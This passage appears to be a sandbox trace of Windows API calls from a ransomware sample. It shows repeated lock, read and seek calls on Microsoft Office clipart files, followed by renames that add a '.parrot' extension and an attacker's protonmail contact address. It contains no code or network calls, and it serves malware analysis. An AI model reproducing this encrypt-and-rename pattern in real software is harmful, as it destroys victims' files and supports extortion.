dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x154c, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.451] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.451] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.453] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.453] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1434, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1434, lpOverlapped=0x0) returned 1 [0147.454] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.454] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x154c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.454] CloseHandle (hObject=0x288) returned 1 [0147.454] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.458] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3330, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.458] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.458] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.577] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.577] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3218, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3218, lpOverlapped=0x0) returned 1 [0147.578] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.579] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3330, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.579] CloseHandle (hObject=0x288) returned 1 [0147.579] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.583] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x674, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.583] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.583] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.585] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.585] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x55c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x55c, lpOverlapped=0x0) returned 1 [0147.585] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.586] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x674, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.586] CloseHandle (hObject=0x288) returned 1 [0147.586] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.589] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9a4, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.589] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.589] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.591] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.591] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x88c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x88c, lpOverlapped=0x0) returned 1 [0147.591] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.591] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9a4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.591] CloseHandle (hObject=0x288) returned 1 [0147.592] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.595] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb4c, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.595] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.595] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.597] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.597] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa34, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa34, lpOverlapped=0x0) returned 1 [0147.597] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.597] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb4c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.597] CloseHandle (hObject=0x288) returned 1 [0147.598] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.601] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.601] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.601] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.603] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.603] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8a0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8a0, lpOverlapped=0x0) returned 1 [0147.603] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.603] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.603] CloseHandle (hObject=0x288) returned 1 [0147.604] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.607] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd40, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.607] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.607] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.611] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.611] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc28, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc28, lpOverlapped=0x0) returned 1 [0147.611] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.612] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd40, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.612] CloseHandle (hObject=0x288) returned 1 [0147.612] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.709] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe88, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.709] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.709] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.711] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.711] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd70, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd70, lpOverlapped=0x0) returned 1 [0147.711] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.712] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe88, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.712] CloseHandle (hObject=0x27c) returned 1 [0147.712] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.716] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe54, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.716] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.716] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.717] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.718] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd3c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd3c, lpOverlapped=0x0) returned 1 [0147.718] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.718] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe54, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.718] CloseHandle (hObject=0x27c) returned 1 [0147.718] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.722] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1868, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.722] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.722] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.724] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.724] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1750, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1750, lpOverlapped=0x0) returned 1 [0147.725] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.725] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1868, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.725] CloseHandle (hObject=0x27c) returned 1 [0147.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.731] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1658, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.731] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.731] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.733] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.733] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1540, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1540, lpOverlapped=0x0) returned 1 [0147.734] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.734] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1658, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.734] CloseHandle (hObject=0x27c) returned 1 [0147.735] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.741] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b0c, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.741] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.741] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.743] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.743] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19f4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x19f4, lpOverlapped=0x0) returned 1 [0147.744] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.745] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b0c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.745] CloseHandle (hObject=0x27c) returned 1 [0147.745] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.748] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b83, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.748] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.748] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.774] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.774] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a6b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1a6b, lpOverlapped=0x0) returned 1 [0147.775] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.776] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b83, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.776] CloseHandle (hObject=0x27c) returned 1 [0147.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.780] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a73, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.780] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.780] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.782] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.782] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x195b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x195b, lpOverlapped=0x0) returned 1 [0147.783] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.783] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a73, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.783] CloseHandle (hObject=0x27c) returned 1 [0147.783] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.786] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x176a, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.786] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.786] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, 